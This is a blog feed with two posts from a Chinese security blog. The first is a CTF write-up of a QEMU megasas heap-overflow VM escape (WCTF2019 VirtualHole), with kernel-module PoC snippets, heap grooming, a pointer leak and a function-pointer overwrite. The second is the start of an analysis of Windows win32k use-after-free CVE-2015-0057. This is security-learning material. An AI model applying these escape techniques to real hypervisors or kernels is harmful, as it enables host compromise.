Jekyll2019-07-29T07:38:13+00:00https://0x3f97.github.io/atom.xml0x3f97二进制菜鸡0x3f97@gmail.comqemu escape case study - wctf2019 virtualhole2019-07-29T00:00:00+00:002019-07-29T00:00:00+00:00https://0x3f97.github.io/exploit/2019/07/29/qemu-escape-case-study-wctf2019-virtualhole<h1 id="0-前言">0. 前言</h1>
<p>最近接触了一道 qemu 虚拟化逃逸的题目,正好题目比较适合入门,就把接触虚拟化这一块的内容记录下来。
在很多资料里面都会推荐两个非常经典的漏洞,相信大家都看过,就是 phrack 上的这篇 <a href="http://www.phrack.org/papers/vm-escape-qemu-case-study.html">VM escape - QEMU Case Study</a>。网上有很多对这篇文章中提到的两个漏洞的分析,我也先占个坑,后续补上。这次就让我们先来看看 WCTF2019 线下的一道 <a href="https://github.com/0x3f97/vm-exploit/tree/master/virtualhole">VirtualHole</a>,这是一个堆溢出导致信息泄露并最终劫持控制流的一个漏洞。</p>
<h1 id="1-环境准备">1. 环境准备</h1>
<h2 id="11-准备qemu">1.1. 准备qemu</h2>
<p>从 qemu 官网的下载页面下载 qemu-3.1.0-rc5 版本,更换包含漏洞的文件 megasas.c,然后编译,
参考 <a href="https://wiki.qemu.org/Hosts/Linux">Building QEMU for Linux</a>。</p>
<p>首先安装依赖,</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get install <span class="nt">-y</span> zlib1g-dev libglib2.0-dev autoconf libtool libgtk2.0-dev
<span class="nb">sudo </span>apt install qemu-kvm
</code></pre></div></div>
<p>然后是编译,开启 kvm 和 debug 模式,</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./configure <span class="nt">--enable-kvm</span> <span class="nt">--target-list</span><span class="o">=</span>x86_64-softmmu <span class="nt">--enable-debug</span>
</code></pre></div></div>
<p>注意安全 qemu-kvm 的时候也会安装 qemu 在 /usr/bin 目录下移除,然后安装我们编译的版本</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>make & make install
</code></pre></div></div>
<p>然后是启动。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> /usr/local/bin/qemu-system-x86_64 <span class="nt">-m</span> 2048 <span class="nt">-hda</span> Centos7-Guest.img <span class="nt">--enable-kvm</span> <span class="nt">-device</span> megasas
</code></pre></div></div>
<h2 id="12-配置网络">1.2. 配置网络</h2>
<p>直接在虚拟机中也可以直接编辑利用代码,这里给和我一样想要配置网络的同学参考,
本机以 Ubuntu 16.04 为例,修改宿主机的 /etc/network/interfaces 添加 br0。</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code># interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0
bridge_fd 0
</code></pre></div></div>
<p>之后重启宿主机网络,然后虚拟机中修改静态 ip 和宿主机 ip 同一网段就行。然后启动虚拟机的命令修改成:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>qemu-system-x86_64 <span class="nt">-m</span> 2048 <span class="nt">-hda</span> Centos7-Guest.img <span class="nt">--enable-kvm</span> <span class="nt">-device</span> megasas <span class="nt">-net</span> tap <span class="nt">-net</span> nic
</code></pre></div></div>
<h2 id="13-调试">1.3. 调试</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps aux | <span class="nb">grep </span>qemu
<span class="nb">sudo </span>gdb <span class="nt">-p</span> <span class="nv">$PID</span>
</code></pre></div></div>
<p>我在 Ubuntu 16.04 上遇到了 gdb 无法调试的问题,如果有遇到相同问题的同学可以试下在前面编译的时候去掉 PIE。
不过我发现也有其它办法,重新编译最新版本 gdb。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone git://sourceware.org/git/binutils-gdb.git
./configure
make <span class="nt">-j4</span>
</code></pre></div></div>
<h1 id="2-漏洞分析">2. 漏洞分析</h1>
<h2 id="21-漏洞位置">2.1. 漏洞位置</h2>
<p>题目在 megasas.c 文件中增加了两百多行代码,并做了标注,我们直接查看漏洞所在的位置。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">megasas_quick_read</span><span class="p">(</span><span class="n">mainState</span> <span class="o">*</span><span class="n">mega_main</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">addr</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">uint16_t</span> <span class="n">offset</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">buff_size</span><span class="p">,</span> <span class="n">size</span><span class="p">;</span>
<span class="n">data_block</span> <span class="o">*</span><span class="n">block</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">buff</span><span class="p">;</span>
<span class="k">struct</span><span class="p">{</span>
<span class="kt">uint32_t</span> <span class="n">offset</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">size</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">readback_addr</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">block_id</span><span class="p">;</span>
<span class="p">}</span> <span class="n">reader</span><span class="p">;</span>
<span class="n">pci_dma_read</span><span class="p">(</span><span class="n">mega_main</span><span class="o">-></span><span class="n">pci_dev</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="o">&</span><span class="n">reader</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">reader</span><span class="p">));</span>
<span class="n">offset</span> <span class="o">=</span> <span class="n">reader</span><span class="p">.</span><span class="n">offset</span><span class="p">;</span>
<span class="n">size</span> <span class="o">=</span> <span class="n">reader</span><span class="p">.</span><span class="n">size</span><span class="p">;</span>
<span class="n">block</span> <span class="o">=</span> <span class="o">&</span><span class="n">Blocks</span><span class="p">[</span><span class="n">reader</span><span class="p">.</span><span class="n">block_id</span><span class="p">];</span>
<span class="n">buff_size</span> <span class="o">=</span> <span class="p">(</span><span class="n">size</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">+</span> <span class="mh">0x7</span><span class="p">)</span><span class="o">&</span><span class="mh">0xfff8</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">buff_size</span> <span class="o">||</span> <span class="n">buff_size</span> <span class="o"><</span> <span class="n">offset</span> <span class="o">||</span>
<span class="n">buff_size</span> <span class="o"><</span> <span class="n">size</span> <span class="p">){</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">block</span><span class="o">-></span><span class="n">buffer</span><span class="p">){</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">buff</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="n">buff_size</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">size</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">>=</span> <span class="n">block</span><span class="o">-></span><span class="n">size</span><span class="p">){</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">buff</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="n">block</span><span class="o">-></span><span class="n">buffer</span><span class="p">,</span> <span class="n">block</span><span class="o">-></span><span class="n">size</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">buff</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="n">block</span><span class="o">-></span><span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">pci_dma_write</span><span class="p">(</span><span class="n">mega_main</span><span class="o">-></span><span class="n">pci_dev</span><span class="p">,</span> <span class="n">reader</span><span class="p">.</span><span class="n">readback_addr</span><span class="p">,</span>
<span class="n">buff</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">buff</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>漏洞的成因是对 <code class="highlighter-rouge">size + offset</code> 和 <code class="highlighter-rouge">block->size</code> 的判断不正确,导致后续 <code class="highlighter-rouge">memcpy</code> 发生溢出。
漏洞原理很简单(但是找的时候找了半天都没发现 0.0),但是要触发这个漏洞需要知道一点设备交互的基础知识。
可能有的初学者比如像我这样的就需要恶补一点设备驱动的编程基础,比如内核模块的编译。
这里强烈推荐一篇非常优秀的文章 <a href="https://bbs.pediy.com/thread-224371.htm">QEMU 与 KVM 虚拟化安全研究介绍</a>。</p>
<h2 id="22-设备交互">2.2. 设备交互</h2>
<p>我们先来编写一个 hello world 的内核模块并在虚拟机中编译运行。</p>
<p>hello.c</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <linux/init.h>
#include <linux/module.h>
</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">hello_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_ALERT</span> <span class="s">"Hello, world</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">hello_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_ALERT</span> <span class="s">"hello_exit</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">module_init</span><span class="p">(</span><span class="n">hello_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">hello_exit</span><span class="p">);</span>
</code></pre></div></div>
<p>Makefile</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">obj</span><span class="o">-</span><span class="n">m</span> <span class="o">:=</span> <span class="n">test</span><span class="p">.</span><span class="n">o</span>
<span class="n">KERNELDR</span> <span class="o">:=</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">modules</span><span class="o">/</span><span class="err">$</span><span class="p">(</span><span class="n">shell</span> <span class="n">uname</span> <span class="o">-</span><span class="n">r</span><span class="p">)</span><span class="o">/</span><span class="n">build</span>
<span class="n">PWD</span> <span class="o">:=</span> <span class="err">$</span><span class="p">(</span><span class="n">shell</span> <span class="n">pwd</span><span class="p">)</span>
<span class="n">modules</span><span class="o">:</span>
<span class="err">$</span><span class="p">(</span><span class="n">MAKE</span><span class="p">)</span> <span class="o">-</span><span class="n">C</span> <span class="err">$</span><span class="p">(</span><span class="n">KERNELDR</span><span class="p">)</span> <span class="n">M</span><span class="o">=</span><span class="err">$</span><span class="p">(</span><span class="n">PWD</span><span class="p">)</span> <span class="n">modules</span>
<span class="n">moduels_install</span><span class="o">:</span>
<span class="err">$</span><span class="p">(</span><span class="n">MAKE</span><span class="p">)</span> <span class="o">-</span><span class="n">C</span> <span class="err">$</span><span class="p">(</span><span class="n">KERNELDR</span><span class="p">)</span> <span class="n">M</span><span class="o">=</span><span class="err">$</span><span class="p">(</span><span class="n">PWD</span><span class="p">)</span> <span class="n">modules_install</span>
<span class="n">clean</span><span class="o">:</span>
<span class="n">rm</span> <span class="o">-</span><span class="n">rf</span> <span class="o">*</span><span class="p">.</span><span class="n">o</span> <span class="o">*~</span> <span class="n">core</span> <span class="p">.</span><span class="n">depend</span> <span class="p">.</span><span class="o">*</span><span class="p">.</span><span class="n">cmd</span> <span class="o">*</span><span class="p">.</span><span class="n">ko</span> <span class="o">*</span><span class="p">.</span><span class="n">mod</span><span class="p">.</span><span class="n">c</span> <span class="p">.</span><span class="n">tmp_versions</span>
</code></pre></div></div>
<p>使用 <code class="highlighter-rouge">make</code> 编译,<code class="highlighter-rouge">sudo insmod hello.ko</code> 运行。</p>
<p><img src="/images/2019-7-29/hello.png" alt="" /></p>
<p>这样我们成功运行了一个内核模块,那么我们怎么和 megasas 设备进行交互呢,
一般 linux 设备的交互是通过 I/O 端口和 I/O 内存,我查到的资料说在虚拟机中,
当客户机的设备驱动程序发起 IO 请求时,内核 KVM 模块会截获这次请求,
然后经过翻译将本次请求放到内存里的 IO 共享页面,并通知客户机 QEMU 模拟进程
来处理本次请求。</p>
<p>理论可能是这么个理论,具体情况可能要深入分析 qemu 那一套才能弄明白了,
不过这里我们可以先不用管这一套,直接用 I/O 内存存取的方式与其交互。
每个外设都是通过读写其寄存器来控制的。通常一个设备有几个寄存器,
它们位于内存地址空间或者 I/O 地址空间,并且地址是连续的。</p>
<p>现在使用 lshw 命令获取设备信息,</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>lshw <span class="nt">-businfo</span> <span class="c"># 获取设备信息</span>
</code></pre></div></div>
<p><img src="/images/2019-7-29/businfo.png" alt="" /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>lshw <span class="nt">-C</span> storage
</code></pre></div></div>
<p><img src="/images/2019-7-29/mega_info.png" alt="" /></p>
<p>linux 内核提供了很多 I/O 操作,这里直接用对 I/O 内存的 writel 操作,
要到达漏洞代码所在位置的走这个函数。</p>
<p><img src="/images/2019-7-29/mega_qw.png" alt="" /></p>
<p>好了,现在我们的初始 POC 就是这样的:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <linux/module.h>
#include <linux/ioport.h>
#include <linux/slab.h>
#include <asm/io.h>
</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>
<span class="cp">#define VDA_IOMEM_BASE (0xfeb80000)
</span>
<span class="kt">int</span> <span class="nf">m_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="s">"m_init</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="kt">void</span> <span class="o">*</span> <span class="n">piomem</span> <span class="o">=</span> <span class="n">ioremap</span><span class="p">(</span><span class="n">VDA_IOMEM_BASE</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">);</span>
<span class="n">writel</span><span class="p">(</span><span class="mh">0x41</span><span class="p">,</span> <span class="n">piomem</span><span class="o">+</span><span class="mi">4</span><span class="p">);</span> <span class="c1">// set size
</span>
<span class="n">iounmap</span><span class="p">(</span><span class="n">piomem</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">m_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="s">"m_exit</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">module_init</span><span class="p">(</span><span class="n">m_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">m_exit</span><span class="p">);</span>
</code></pre></div></div>
<p>做了这么些准备工作之后可以开始对题目进行分析了,首先是题目设定的一个关键
结构体 <code class="highlighter-rouge">frame_header</code>,它的定义如下。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">_frame_header</span><span class="p">{</span>
<span class="kt">uint32_t</span> <span class="n">size</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">offset</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">frame_buff</span><span class="p">;</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">get_flag</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">dst</span><span class="p">);</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">write</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">dst</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">src</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">size</span><span class="p">);</span>
<span class="kt">uint32_t</span> <span class="n">reserved</span><span class="p">[</span><span class="mi">56</span><span class="p">];</span>
<span class="p">}</span> <span class="n">frame_header</span><span class="p">;</span>
</code></pre></div></div>
<p>然后我们可以自由的分配不超过 <code class="highlighter-rouge">0x80000</code> 大小的 block,使用 <code class="highlighter-rouge">pci_dma_read/write</code>
和 <code class="highlighter-rouge">frame_buff</code> 进行数据传输,通过 <code class="highlighter-rouge">megasas_framebuffer_store/readback</code> 在 <code class="highlighter-rouge">frame_buff</code>
和 block 之间进行数据的传输从而做更多的交互。大概了解了我们可以怎样和 megasas 设备做交互,
现在我们要实现触发漏洞,并用这个堆溢出做点事情。</p>
<h1 id="3-漏洞利用">3. 漏洞利用</h1>
<h2 id="31-利用思路">3.1. 利用思路</h2>
<p>要进行合理的堆布局,才能让堆溢出覆盖到有用的位置,信息泄露获取 get_flag 函数地址,
再覆盖函数指针劫持控制流。第一步是进行堆布局,让 <code class="highlighter-rouge">megasas_quick_read</code> 函数分配的 buff
与 <code class="highlighter-rouge">frame_header</code> 相邻,继而使 <code class="highlighter-rouge">buff</code> 溢出覆盖 <code class="highlighter-rouge">frame_header</code> 的 <code class="highlighter-rouge">size</code> 字段,
这样 <code class="highlighter-rouge">frame_buff</code> 就可以读取到 <code class="highlighter-rouge">header</code> 中的 <code class="highlighter-rouge">get_flag</code>,再覆盖 <code class="highlighter-rouge">write</code> 函数指针
就大功告成了。</p>
<h2 id="32-堆布局">3.2. 堆布局</h2>
<p>实现利用有两个关键点,一个是堆内存的布局,一个是覆盖数据的构造,而只有实现合理的内存布局
才能达到想要的效果。我们先来看信息泄露的内存布局。</p>
<p>首先连续分配大块的内存进行占位,</p>
<p><img src="/images/2019-7-29/heapmap1_2.png" alt="" /></p>
<p><code class="highlighter-rouge">size</code> 可以弄得大一点才好占位,只要小于 <code class="highlighter-rouge">0x80000</code> 就行,然后先释放其中一个 Block,
再预留足够大小的空间重新分配,给之后要分配的 <code class="highlighter-rouge">frame_header</code> 和 <code class="highlighter-rouge">frame_buff</code> 占位。</p>
<p><img src="/images/2019-7-29/heapmap3_3.png" alt="" /></p>
<p>刚开始在进行堆布局实验的时候是在 18.04 上操作的,就发现不论怎么占位,
<code class="highlighter-rouge">header</code> 和 <code class="highlighter-rouge">frame_buff</code> 都凑不到一块去0.0,然后换了 16.04 就一次成功了,
看来 18.04 上的堆内存分配还是多了些弯弯绕绕啊。现在直接释放掉 <code class="highlighter-rouge">0x110</code>
和 <code class="highlighter-rouge">0x210</code> 大小的 block 让 <code class="highlighter-rouge">header</code> 和 <code class="highlighter-rouge">frame_buff</code> 占上来,接着释放掉 <code class="highlighter-rouge">0x310</code>
的 block 让堆溢出的 <code class="highlighter-rouge">buff</code> 占上来整个堆布局就完成了。</p>
<p><img src="/images/2019-7-29/heapmap4.png" alt="" /></p>
<h2 id="33-信息泄露">3.3. 信息泄露</h2>
<p>接下来就是构造 buff 的数据了,通过 <code class="highlighter-rouge">pci_dma_read</code> 把我们构造的数据传到 <code class="highlighter-rouge">frame_buff</code> 上,</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">struct</span> <span class="p">{</span>
<span class="kt">uint32_t</span> <span class="n">offset</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">size</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">readback_addr</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">block_id</span><span class="p">;</span>
<span class="kt">uint64_t</span> <span class="n">heapheader</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
<span class="kt">uint32_t</span> <span class="n">hsize</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">hoffset</span><span class="p">;</span>
<span class="p">}</span> <span class="o">*</span><span class="n">reader</span> <span class="o">=</span> <span class="n">kzalloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
<span class="n">reader</span><span class="o">-></span><span class="n">offset</span> <span class="o">=</span> <span class="mh">0x100</span><span class="o">-</span><span class="mh">0x40</span><span class="o">+</span><span class="mh">0x18</span><span class="p">;</span>
<span class="n">reader</span><span class="o">-></span><span class="n">size</span> <span class="o">=</span> <span class="mh">0x200</span><span class="o">+</span><span class="mh">0x40</span><span class="o">-</span><span class="mh">0x18</span><span class="p">;</span>
<span class="p">...</span>
<span class="n">reader</span><span class="o">-></span><span class="n">heapheader</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">reader</span><span class="o">-></span><span class="n">heapheader</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x115</span><span class="p">;</span>
<span class="n">reader</span><span class="o">-></span><span class="n">hsize</span> <span class="o">=</span> <span class="mh">0x200</span><span class="o">+</span><span class="mh">0x310</span><span class="o">+</span><span class="mh">0x10</span><span class="o">+</span><span class="mh">0x20</span><span class="p">;</span>
<span class="n">writel</span><span class="p">(</span><span class="n">virt_to_phys</span><span class="p">(</span><span class="n">reader</span><span class="p">)</span><span class="o">+</span><span class="mh">0x10</span><span class="o">+</span><span class="mh">0x18</span><span class="o">-</span><span class="mh">0x200</span><span class="p">,</span> <span class="n">piomem</span><span class="o">+</span><span class="mi">4</span><span class="o">*</span><span class="mi">8</span><span class="p">);</span>
</code></pre></div></div>
<p>覆盖 <code class="highlighter-rouge">header</code> 的 <code class="highlighter-rouge">size</code> 字段,使 <code class="highlighter-rouge">frame_buff</code> 可以读到 <code class="highlighter-rouge">header</code> 上的数据,
<code class="highlighter-rouge">frame_buff</code> 的堆地址和 <code class="highlighter-rouge">get_flag</code> 函数的地址。</p>
<h2 id="34-劫持控制流">3.4. 劫持控制流</h2>
<p>由于每次传输数据时对 <code class="highlighter-rouge">frame_buff</code> 的 <code class="highlighter-rouge">size</code> 做了校验,只有等于 <code class="highlighter-rouge">0x200</code> 的时候才能通过校验,
所以我们要再进行二次覆盖,来劫持函数指针。先释放掉原来的 <code class="highlighter-rouge">frame_header</code> 和 <code class="highlighter-rouge">frame_buff</code>,
重新分配一次进行占位,庆幸还是原来的布局,再来一次。</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">writel</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">piomem</span><span class="o">+</span><span class="mh">0x4</span><span class="o">*</span><span class="mi">5</span><span class="p">);</span>
<span class="n">writel</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">piomem</span><span class="o">+</span><span class="mh">0x4</span><span class="o">*</span><span class="mi">4</span><span class="p">);</span>
</code></pre></div></div>
<p>这次带上 <code class="highlighter-rouge">frame_buff</code> 的地址,还有 <code class="highlighter-rouge">get_flag</code>,</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">reader</span><span class="o">-></span><span class="n">hframe_buff</span> <span class="o">=</span> <span class="n">fheader_buff_addr</span><span class="p">;</span>
<span class="n">reader</span><span class="o">-></span><span class="n">hwrite</span> <span class="o">=</span> <span class="n">fheader_get_flag_addr</span><span class="p">;</span>
</code></pre></div></div>
<p>最后调用一下 <code class="highlighter-rouge">header->write</code> 就大功告成了,完整 exp 在 <a href="https://github.com/0x3f97/vm-exploit/virtualhole/poc.c">github</a> 上。</p>
<p><img src="/images/2019-7-29/get_flag.png" alt="" /></p>
<h1 id="总结">总结</h1>
<p>首先感谢出题人带来这么棒的一道题,让如此菜的我得以一窥虚拟化安全的大门,这是很有趣的一个方向。
总的来说漏洞原理不是很难,但是要写出利用得了解虚拟化那一套东西,菜鸡如我就在这一步踩了许久的坑 QAQ,
总之继续加油,后面希望能够学习更多虚拟化安全的知识!</p>
<h2 id="参考资料">参考资料</h2>
<ul>
<li>
<p><a href="http://www.phrack.org/papers/vm-escape-qemu-case-study.html">VM escape - QEMU Case Study</a></p>
</li>
<li>
<p><a href="https://bbs.pediy.com/thread-224371.htm">QEMU 与 KVM 虚拟化安全研究介绍</a></p>
</li>
</ul>0x3f97@gmail.com0. 前言windows kernel exploit:uaf - cve-2015-00572018-11-09T00:00:00+00:002018-11-09T00:00:00+00:00https://0x3f97.github.io/exploit/2018/11/09/windows-kernel-exploit-uaf-cve-2015-0057<h1 id="introduction">Introduction</h1>
<p>这次是内核中一个 uaf 漏洞的学习,刚好看到 wjllz 师傅的在看雪上的 <a href="https://bbs.pediy.com/thread-247281.htm">windows 内核系列文章</a>,
就也一起分析了 cve-2015-0057 这个洞(膜一发 wjllz 师傅 tql !!!),这篇写的水平肯定也没有 wjllz 师傅的好,也不太会讲故事,
权当自己学习过程的记录,希望也能够帮助到你,如有错误多谢指正。</p>
<p>首先这次的漏洞分析也是参考已有的分析资料来学习,已有的资料包括:</p>
<ul>
<li>漏洞发现者 Udi Yavo of enSilo 的 <a href="https://blog.ensilo.com/one-bit-to-rule-them-all-bypassing-windows-10-protections-using-a-single-bit">分析</a></li>
<li>Ncc group 详细利用分析的 <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/july/exploiting-the-win32kxxxenablewndsbarrows-use-after-free-cve-2015-0057-bug-on-both-32-bit-and-64-bit-tldr/">writeup</a></li>
<li>keenjoy98 老师在 blackhat 上的议题 <a href="https://www.blackhat.com/docs/asia-16/materials/asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology-wp.pdf">A New CVE-2015-0057 Exploit Technology</a></li>
<li>win8.1 x64 下完整利用 <a href="http://hdwsec.fr/blog/20151217-ms15-010/">[MS15-010 / CVE-2015-0057] EXPLOITATION</a></li>
</ul>
<p>刚开始这样做不可避免,全靠自己从分析 patch 到 poc 再到 exploit 的话水平还达不到,不过这是下一阶段的目标,
我会努力往这方面靠。说完了让我们开始专注漏洞,主要涉及的知识点有:</p>
<ul>
<li>用户态回调函数的使用</li>
<li>堆风水</li>
<li>win8.1 堆头修复</li>
<li>win8.1 smep 绕过</li>
<li>提权 shellcode</li>
</ul>
<h1 id="the-bug">The bug</h1>
<p>漏洞出现在内核的 GUI 组件中,也就是 win32k.sys 模块,之前从来没有了解过 win32k 有关的用户态回调函数的利用,
不过这里有篇相关的 <a href="https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf">paper</a> 可以参考,
帮助我们熟悉 win32k.sys。分析资料中直接给出了漏洞所在位置,也可以自己尝试从 patch 分析一波,我尝试对比了一下 patch
版本和原版本的 win32k.sys,有几十处函数有改动,没有任何思路遂放弃。从资料中找到漏洞代码,漏洞位置在
<code class="highlighter-rouge">win32k!xxxEnableWndSBArrows</code>,抛去如何定位漏洞的部分(因为不会 :( 233),让我们直接理解漏洞原理:</p>
<p><strong>Unpatched</strong></p>
<p><img src="/images/2018-11-9/unpatch.png" alt="" /></p>
<p>以上代码是未经修补的漏洞代码,在适当的情况下 <code class="highlighter-rouge">win32k!xxxDrawScrollBar</code> 可以触发一个用户态调用让 <code class="highlighter-rouge">tagSBINFO</code>
对象指针即 <code class="highlighter-rouge">rbx</code> 被释放掉,而之后以上代码又使用了释放后内存中的值。简单来说就是某种情况下这个函数会触发一个函数回调,
而我们可以控制这个函数回调,运行我们指定的代码。</p>
<p><strong>Patched</strong></p>
<p><img src="/images/2018-11-9/patch.png" alt="" /></p>
<p>在 patched 的版本中,使用 <code class="highlighter-rouge">tagSBINFO</code> 指针之前设置了一道检查,这样导致用户控制的回调函数在设置检查的情况下无法被执行,
用户的影响被消除了。</p>
<p>那么怎么控制这个回调函数?以及我们需要执行什么样的代码?这就需要完全理解了整个函数的作用以及其内部执行逻辑之后才能回答这个问题。
这部分在 Ncc group 的 writeup 和 udi 的 blog 中有详细的解释,一起来看一下。</p>
<p>漏洞所在位置是跟窗体滚动条相关的,而每个窗体都设置了水平和垂直的滚动条 - scrollbar,参考 <a href="https://doxygen.reactos.org/dd/d79/include_2ntuser_8h_source.html#l00482">ReactOS</a> 找到结构体定义:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">tagSBDATA</span>
<span class="p">{</span>
<span class="n">INT</span> <span class="n">posMin</span><span class="p">;</span>
<span class="n">INT</span> <span class="n">posMax</span><span class="p">;</span>
<span class="n">INT</span> <span class="n">page</span><span class="p">;</span>
<span class="n">INT</span> <span class="n">pos</span><span class="p">;</span>
<span class="p">}</span> <span class="n">SBDATA</span><span class="p">,</span> <span class="o">*</span><span class="n">PSBDATA</span><span class="p">;</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="n">tagSBINFO</span>
<span class="p">{</span>
<span class="n">INT</span> <span class="n">WSBflags</span><span class="p">;</span>
<span class="n">SBDATA</span> <span class="n">Horz</span><span class="p">;</span>
<span class="n">SBDATA</span> <span class="n">Vert</span><span class="p">;</span>
<span class="p">}</span> <span class="n">SBINFO</span><span class="p">,</span> <span class="o">*</span><span class="n">PSBINFO</span><span class="p">;</span>
</code></pre></div></div>
<p>每个 <code class="highlighter-rouge">SBDATA</code> 结构都定义了相关的 Scrollbar 的属性,<code class="highlighter-rouge">WSBflags</code> 按照设置了多少比特位来决定 scrollbar 的状态属性。
